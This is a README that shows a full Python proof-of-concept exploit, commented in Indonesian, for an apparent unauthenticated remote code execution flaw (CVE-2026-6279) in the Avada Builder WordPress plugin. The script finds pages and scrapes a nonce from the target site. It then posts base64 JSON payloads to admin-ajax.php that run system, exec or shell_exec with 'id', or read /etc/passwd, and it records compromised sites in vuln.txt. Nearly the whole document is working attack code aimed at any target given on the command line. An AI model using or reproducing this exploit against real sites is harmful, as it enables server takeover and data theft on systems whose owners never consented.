README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
╔═══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 — Avada Builder <= 3.15.2 ║
║ Unauthenticated Remote Code Execution via call_user_func() ║
║ ║
║ Proof of Concept ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Special Thanks: Shadow Girlfriend 💜 ║
║ ║
╚═══════════════════════════════════════════════════════════════════════╝
Rantai Kerentanan (Vulnerability Chain):
─────────────────────────────────────────
1. Nonce Deterministik → wp_create_nonce('fusion_load_nonce') untuk UID 0
2. AJAX Unauthenticated → wp_ajax_nopriv_fusion_get_widget_markup
3. Deserialisasi → base64_decode + json_decode pada render_logics
4. call_user_func() → TANPA allowlist → eksekusi fungsi PHP arbitrer
5. RCE! → system("id") → uid=... di response body
Referensi Source Code (dari CVE resmi):
───────────────────────────────────────
• class-fusion-builder-conditional-render-helper.php L1083, L1531
• fusion-widget.php L44, L389
• class-fusion-builder.php L7551
"""
import requests
import base64
import json
import re
import sys
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ──────────────────────────────────────────────────────────────
# KONFIGURASI
# ──────────────────────────────────────────────────────────────
WAKTU_TIMEOUT = 8
VERIFIKASI_SSL = False
FUNGSI_RCE = [
{"nama": "system", "argumen": "id", "tipe": "stdout+return"},
{"nama": "passthru", "argumen": "id", "tipe": "stdout"},
{"nama": "shell_exec", "argumen": "id", "tipe": "return"},
{"nama": "exec", "argumen": "id", "tipe": "return_last"},
{"nama": "file_get_contents", "argumen": "/etc/passwd", "tipe": "return_file"},
]
POLA_NONCE = [
r'fusionLoadNonce\s*=\s*["\x27]([a-zA-Z0-9]+)',
r'"fusion_load_nonce"\s*:\s*"([a-zA-Z0-9]+)',
r"fusion_load_nonce[\"'\s:=]+[\"']([a-zA-Z0-9]+)",
r"fusionPostCardsVars[^}]*nonce[\"'\s:]+[\"']([a-zA-Z0-9]+)",
r"fusionTableOfContentsVars[^}]*nonce[\"'\s:]+[\"']([a-zA-Z0-9]+)",
]
WIDGET_TYPES = [
"WP_Widget_Text", # Prioritas #1 — mendukung shortcode, paling reliable
"WP_Widget_Custom_HTML", # Prioritas #2 — HTML widget, juga reliable
"WP_Widget_Recent_Posts", # Fallback
"WP_Widget_Archives",
"WP_Widget_Calendar",
"WP_Widget_Categories",
"WP_Widget_Meta",
"WP_Widget_Pages",
"WP_Widget_Recent_Comments",
"WP_Widget_RSS",
"WP_Widget_Search",
"WP_Widget_Tag_Cloud",
"WP_Nav_Menu_Widget",
"WP_Widget_Media_Image",
]
# Slug halaman yang kemungkinan punya form / shortcode Avada → nonce terekspos
# Urutan prioritas: form pages dulu, lalu content pages
SLUG_HALAMAN = [
# Form pages (paling mungkin punya [fusion_form] → nonce terekspos)
"contact", "contact-us", "get-in-touch", "register", "signup",
"request-quote", "appointment", "booking", "demo", "free-trial",
# Content pages (mungkin punya [fusion_post_cards] / [fusion_table_of_contents])
"blog", "news", "portfolio", "shop", "work", "projects", "services",
"about", "about-us", "team", "pricing", "faq", "testimonials",
"gallery", "events", "careers", "partners",
]
SITEMAP_PATHS = [
"/sitemap.xml", "/sitemap_index.xml", "/wp-sitemap.xml",
"/sitemap-index.xml", "/sitemap_index.xml",
"/post-sitemap.xml", "/page-sitemap.xml",
]
# ──────────────────────────────────────────────────────────────
# WARNA TERMINAL
# ──────────────────────────────────────────────────────────────
M = "\033[95m" # Magenta
H = "\033[91m" # Hijau (merah di terminal, tapi artinya sukses)
B = "\033[92m" # Biru (hijau)
K = "\033[93m" # Kuning
C = "\033[96m" # Cyan
P = "\033[1m" # Pink/Bold
N = "\033[0m" # Normal
# ──────────────────────────────────────────────────────────────
# HELPER
# ──────────────────────────────────────────────────────────────
def banner():
print(f"""{P}
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Single Target ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝{N}
""")
def buat_payload(nama_fungsi, argumen):
"""Buat payload base64 JSON untuk render_logics."""
struktur = {
"type": "wp_conditional_tags",
"value": {
"function": nama_fungsi,
"args": argumen,
}
}
json_kompak = json.dumps(struktur, separators=(',', ':'))
return base64.b64encode(json_kompak.encode()).decode()
def ekstrak_nonce(html):
"""Cari fusionLoadNonce di halaman HTML."""
if not html:
return ""
for pola in POLA_NONCE:
cocok = re.search(pola, html)
if cocok:
return cocok.group(1)
return ""
def cari_uid(text):
"""Cari uid=... di response body (termasuk nested JSON)."""
if not text:
return ""
# Cari langsung di raw text
cocok = re.search(r'uid=\d+\([^)]+\)', text)
if cocok:
return cocok.group(0)
# Cari di dalam JSON
try:
data = json.loads(text)
if isinstance(data, dict):
for v in data.values():
if isinstance(v, str):
m = re.search(r'uid=\d+\([^)]+\)', v)
if m: return m.group(0)
elif isinstance(v, dict):
for sv in v.values():
if isinstance(sv, str):
m = re.search(r'uid=\d+\([^)]+\)', sv)
if m: return m.group(0)
except Exception:
pass
return ""
def cek_evidence_fgc(text):
"""Cek bukti file_get_contents berhasil."""
if "root:x:0:0" in text or "nobody:" in text:
return True
return False
def buat_session():
"""Buat requests.Session dengan konfigurasi standar."""
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
s.verify = VERIFIKASI_SSL
return s
# ──────────────────────────────────────────────────────────────
# PAGE DISCOVERY — MULTIPLE METODE
# ──────────────────────────────────────────────────────────────
def parse_sitemap_xml(sess, url, max_depth=2, depth=0):
"""Parse sitemap XML, return list of page URLs."""
if depth > max_depth:
return []
pages = []
try:
r = sess.get(url, timeout=WAKTU_TIMEOUT)
if r.status_code != 200 or "xml" not in r.headers.get("content-type", ""):
return pages
locs = re.findall(r'<loc>(.*?)</loc>', r.text)
for loc in locs:
if '.xml' in loc and ('sitemap' in loc.lower() or 'index' in loc.lower()):
pages.extend(parse_sitemap_xml(sess, loc, max_depth, depth + 1))
else:
pages.append(loc.rstrip("/"))
except Exception:
pass
return pages
def cari_sitemap_dari_robots(sess, base):
"""Cari sitemap URL dari robots.txt."""
sitemaps = []
try:
r = sess.get(f"{base}/robots.txt", timeout=WAKTU_TIMEOUT)
if r.ok:
for line in r.text.split('\n'):
line = line.strip()
if line.lower().startswith("sitemap:"):
sitemaps.append(line.split(":", 1)[1].strip())
except Exception:
pass
return sitemaps
def discover_pages(sess, base):
"""Discover semua halaman target via multiple metode. Return list of URLs."""
semua_url = set()
# METODE 1: Sitemap XML (prioritas utama)
sitemap_sources = list(SITEMAP_PATHS)
# Tambah sitemap dari robots.txt
robots_sitemaps = cari_sitemap_dari_robots(sess, base)
for s in robots_sitemaps:
sitemap_sources.append(s.replace(base, ""))
for path in sitemap_sources:
try:
urls = parse_sitemap_xml(sess, f"{base}{path}" if not path.startswith("http") else path)
semua_url.update(urls)
except Exception:
pass
# METODE 2: wp-json REST API
for endpoint in [
f"{base}/wp-json/wp/v2/posts?per_page=20",
f"{base}/wp-json/wp/v2/pages?per_page=20",
]:
try:
r = sess.get(endpoint, timeout=WAKTU_TIMEOUT)
if r.ok:
data = r.json()
items = data if isinstance(data, list) else data.get("data", [])
for item in (items[:20] if isinstance(items, list) else []):
url_item = item.get("url", item.get("link", ""))
if url_item:
semua_url.add(url_item.rstrip("/"))
except Exception:
pass
# METODE 3: RSS Feed
try:
r = sess.get(f"{base}/feed/", timeout=WAKTU_TIMEOUT)
if r.ok:
links = re.findall(r'<link>(.*?)</link>', r.text)
for link in links:
if link.startswith("http"):
semua_url.add(link.rstrip("/"))
except Exception:
pass
# METODE 4: Slug guessing (fallback terakhir)
for slug in SLUG_HALAMAN:
semua_url.add(f"{base}/{slug}")
# Tambahkan homepage
semua_url.add(base)
return list(semua_url)
# ──────────────────────────────────────────────────────────────
# LANGKAH 1: DETEKSI TARGET
# ──────────────────────────────────────────────────────────────
def deteksi_target(sess, target, port=None):
"""Deteksi apakah target menggunakan Avada dan resolve URL-nya."""
# Jika target sudah punya port (contoh: localhost:8888), pisahkan
if port is None and ":" in target and not target.startswith("["):
bagian = target.rsplit(":", 1)
if bagian[1].isdigit():
target, port = bagian[0], bagian[1]
# Daftar hostname yang dicoba
hostnames = [target]
if not target.startswith("www."):
hostnames.append(f"www.{target}")
for proto in ("https", "http"):
for hostname in hostnames:
try:
if port:
url = f"{proto}://{hostname}:{port}"
else:
url = f"{proto}://{hostname}"
r = sess.get(f"{url}/", timeout=WAKTU_TIMEOUT, allow_redirects=True)
if r.status_code in (200, 301, 302, 403):
t = r.text.lower()
indikator = ['fusion-builder', 'fusion_load_nonce', 'fusionloadnonce',
'avada', 'fusion-scripts', 'awb-', 'fusion_dynamic_css']
if any(k in t for k in indikator):
return url, True
return url, False
except Exception:
pass
return "", False
# ──────────────────────────────────────────────────────────────
# LANGKAH 2: EKSTRAKSI NONCE
# ──────────────────────────────────────────────────────────────
def cari_nonce(sess, base):
"""Cari fusionLoadNonce dari berbagai lokasi di target."""
# Prioritas: form pages > content pages > homepage
# 0. Discover semua halaman via sitemap/REST/feed/slug
semua_halaman = discover_pages(sess, base)
# Prioritaskan halaman yang kemungkinan punya form/shortcode
prioritas_url = []
biasa_url = []
for url in semua_halaman:
lower = url.lower()
if any(k in lower for k in ["contact", "register", "signup", "form", "quote", "book", "demo", "free"]):
prioritas_url.append(url)
else:
biasa_url.append(url)
# Cek halaman prioritas dulu
for url in prioritas_url + biasa_url:
try:
r = sess.get(f"{url}/" if not url.endswith("/") else url, timeout=WAKTU_TIMEOUT)
if r.ok:
nonce = ekstrak_nonce(r.text)
if nonce:
return nonce, url.replace(base, "/") or "discovered_page"
except Exception:
pass
return "", ""
# ──────────────────────────────────────────────────────────────
# LANGKAH 3: EKSPLOITASI RCE
# ──────────────────────────────────────────────────────────────
def kirim_rce(sess, base, nonce, payload, nama_fungsi, widget_type=None):
"""Kirim payload RCE ke admin-ajax.php. Return (berhasil, bukti)."""
header_ajax = {"X-Requested-With": "XMLHttpRequest"}
data_post = {
"action": "fusion_get_widget_markup",
"fusion_load_nonce": nonce,
"render_logics": payload,
}
if widget_type:
data_post["widget_type"] = widget_type
data_post["type"] = widget_type
data_post["widget_id"] = "2"
data_post["number"] = "2"
try:
r = sess.post(
f"{base}/wp-admin/admin-ajax.php",
headers=header_ajax,
data=data_post,
timeout=WAKTU_TIMEOUT
)
# Cari uid= di response
uid = cari_uid(r.text)
if uid:
return True, uid
# Cek file_get_contents evidence
if nama_fungsi == "file_get_contents" and cek_evidence_fgc(r.text):
return True, "RCE_CONFIRMED_file_get_contents (/etc/passwd terbaca)"
# Analisis kenapa gagal
if r.status_code == 403 and r.text.strip() == "-1":
return False, "NONCE_EXPIRED"
if r.status_code == 400 and r.text.strip() == "0":
return False, "ACTION_MISSING"
if r.status_code in (400, 403, 405, 429, 503):
lower = r.text.lower()
if "cloudflare" in lower or "cf-ray" in lower:
return False, "WAF_BLOCKED"
if "blocked" in lower or "forbidden" in lower:
return False, "WAF_BLOCKED"
if r.status_code == 500:
return False, "PHP_ERROR"
if r.status_code == 200:
if '"success":true' in r.text and '"data":""' in r.text:
return False, "FUNC_DISABLED"
return False, f"HTTP_{r.status_code}"
except requests.exceptions.Timeout:
return False, "TIMEOUT"
except Exception as e:
return False, f"ERROR: {str(e)[:50]}"
def eksploitasi(sess, base, nonce):
"""Coba semua kombinasi fungsi RCE dan widget type."""
for info_func in FUNGSI_RCE:
nama = info_func["nama"]
argumen = info_func["argumen"]
payload = buat_payload(nama, argumen)
# Fase 1: Coba dengan widget_type prioritas (WP_Widget_Text, Custom_HTML)
for wid in WIDGET_TYPES[:2]:
berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama, wid)
if berhasil:
return True, bukti, nama, wid
if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
return False, bukti, nama, wid
# Fase 2: Coba tanpa widget_type (POST minimal)
berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama)
if berhasil:
return True, bukti, nama, None
if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
return False, bukti, nama, None
# Fase 3: Coba widget type lain sebagai fallback
for wid in WIDGET_TYPES[2:5]:
berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama, wid)
if berhasil:
return True, bukti, nama, wid
if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
return False, bukti, nama, wid
# Fase 4: Coba variasi struktur JSON alternatif
for info_func in FUNGSI_RCE[:2]:
nama = info_func["nama"]
argumen = info_func["argumen"]
variasi = [
{"relation": "and", "conditions": [{"type": "wp_conditional_tags", "value": {"function": nama, "args": argumen}}]},
{"type": "wp_user_conditional_tags", "value": {"function": nama, "args": argumen}},
]
for var in variasi:
payload = base64.b64encode(json.dumps(var, separators=(',', ':')).encode()).decode()
berhasil, bukti = kirim_rce(sess, base, nonce, payload, nama)
if berhasil:
return True, bukti, nama, "variasi_struktur"
if bukti in ("NONCE_EXPIRED", "WAF_BLOCKED", "ACTION_MISSING"):
return False, bukti, nama, "variasi_struktur"
return False, "SEMUA_GAGAL", None, None
# ──────────────────────────────────────────────────────────────
# MAIN
# ──────────────────────────────────────────────────────────────
def main():
banner()
if len(sys.argv) < 2:
print(f" {P}Penggunaan:{N} python3 {sys.argv[0]} <target>")
print(f" {C}Contoh:{N} python3 {sys.argv[0]} target.com")
print(f" python3 {sys.argv[0]} http://target.com")
print(f" python3 {sys.argv[0]} https://target.com:8080")
print()
sys.exit(1)
target_mentah = sys.argv[1].strip().rstrip("/")
# Parse target: hilangkan protokol jika ada, simpan port
if target_mentah.startswith("http://"):
target_bersih = target_mentah[7:]
proto_awal = "http"
elif target_mentah.startswith("https://"):
target_bersih = target_mentah[8:]
proto_awal = "https"
else:
target_bersih = target_mentah
proto_awal = None
# Ekstrak port jika ada (contoh: localhost:8888)
port = None
target_domain = target_bersih
if ":" in target_bersih and not target_bersih.startswith("["):
bagian = target_bersih.rsplit(":", 1)
if bagian[1].isdigit():
target_domain, port = bagian[0], bagian[1]
print(f" {P}══════════════════════════════════════════════════════{N}")
print(f" {C}Target{N} : {target_mentah}")
print(f" {C}Waktu{N} : {time.strftime('%Y-%m-%d %H:%M:%S')}")
print(f" {P}══════════════════════════════════════════════════════{N}")
print()
sess = buat_session()
t0 = time.time()
# ── LANGKAH 1: Deteksi Target ──
print(f" {K}[*]{N} Mendeteksi target...")
# Jika user sudah kasih full URL, langsung pakai
if proto_awal:
base = f"{proto_awal}://{target_bersih}"
try:
r = sess.get(f"{base}/", timeout=WAKTU_TIMEOUT, allow_redirects=True)
if r.status_code in (200, 301, 302, 403):
t = r.text.lower()
indikator = ['fusion-builder', 'fusion_load_nonce', 'fusionloadnonce',
'avada', 'fusion-scripts', 'awb-', 'fusion_dynamic_css']
adalah_avada = any(k in t for k in indikator)
else:
base, adalah_avada = deteksi_target(sess, target_domain, port)
except Exception:
base, adalah_avada = deteksi_target(sess, target_domain, port)
else:
base, adalah_avada = deteksi_target(sess, target_domain, port)
if not base:
print(f" {H}[-]{N} Target tidak bisa dijangkau!")
sys.exit(1)
if not adalah_avada:
print(f" {K}[!]{N} Target terjangkau tapi tidak terdeteksi sebagai Avada.")
print(f" {K}[!]{N} Tetap melanjutkan... (mungkin nonce tersembunyi)")
else:
print(f" {B}[+]{N} Avada terdeteksi! {C}({base}){N}")
print()
# ── LANGKAH 2: Ekstraksi Nonce ──
print(f" {K}[*]{N} Mencari nonce fusion_load_nonce...")
nonce, sumber = cari_nonce(sess, base)
if not nonce:
print(f" {H}[-]{N} Nonce tidak ditemukan!")
print(f" {K}[*]{N} Target mungkin tidak punya halaman dengan shortcode Avada.")
sys.exit(1)
print(f" {B}[+]{N} Nonce ditemukan: {P}{nonce}{N} {C}(sumber: {sumber}){N}")
print()
# ── LANGKAH 3: Eksploitasi RCE ──
print(f" {K}[*]{N} Mengirim payload RCE...")
print(f" {K}[*]{N} Mencoba {len(FUNGSI_RCE)} fungsi × {len(WIDGET_TYPES[:3])} widget = {len(FUNGSI_RCE) * len(WIDGET_TYPES[:3])} kombinasi")
print()
berhasil, bukti, fungsi_yang_berhasil, widget_yang_berhasil = eksploitasi(sess, base, nonce)
waktu_total = time.time() - t0
# ── HASIL ──
print()
print(f" {P}══════════════════════════════════════════════════════{N}")
if berhasil:
print(f" {B}{P}[★] RCE BERHASIL!{N}")
print()
print(f" {B}Target :{N} {base}")
print(f" {B}Output :{N} {bukti}")
print(f" {B}Fungsi :{N} {fungsi_yang_berhasil}()")
if widget_yang_berhasil:
print(f" {B}Widget :{N} {widget_yang_berhasil}")
print(f" {B}Nonce :{N} {nonce} ({sumber})")
print(f" {B}Waktu :{N} {waktu_total:.1f}s")
print()
# Simpan ke vuln.txt
with open("vuln.txt", "a") as f:
f.write(f"# CVE-2026-6279 — Avada Builder <= 3.15.2 RCE\n")
f.write(f"url: {base}\n")
f.write(f"output: {bukti}\n")
f.write(f"function: {fungsi_yang_berhasil}()\n")
f.write(f"nonce: {nonce} ({sumber})\n")
f.write(f"time: {waktu_total:.1f}s\n\n")
print(f" {C}[✓] Hasil disimpan ke vuln.txt{N}")
else:
if bukti == "NONCE_EXPIRED":
print(f" {H}[-]{N} Nonce expired/tidak valid!")
print(f" {K}[*]{N} Nonce mungkin sudah berubah. Coba lagi nanti.")
elif bukti == "WAF_BLOCKED":
print(f" {H}[-]{N} Diblokir oleh WAF!")
print(f" {K}[*]{N} admin-ajax.php di-block oleh firewall (Cloudflare/dll)")
elif bukti == "ACTION_MISSING":
print(f" {H}[-]{N} Action AJAX tidak terdaftar!")
print(f" {K}[*]{N} Plugin Avada Builder mungkin tidak aktif atau versi sudah di-patch")
elif bukti == "FUNC_DISABLED":
print(f" {K}[!]{N} Nonce valid tapi semua fungsi RCE di-disable!")
print(f" {K}[*]{N} disable_functions mungkin aktif di server")
elif bukti == "PHP_ERROR":
print(f" {K}[!]{N} PHP error - fungsi mungkin di-disable")
elif bukti == "SEMUA_GAGAL":
print(f" {K}[!]{N} Semua percobaan RCE gagal")
print(f" {K}[*]{N} Kemungkinan: fungsi PHP di-disable atau konfigurasi berbeda")
else:
print(f" {H}[-]{N} RCE gagal: {bukti}")
print(f" {B}Nonce :{N} {nonce} ({sumber})")
print(f" {B}Waktu :{N} {waktu_total:.1f}s")
print(f" {P}══════════════════════════════════════════════════════{N}")
print()
if __name__ == "__main__":
main()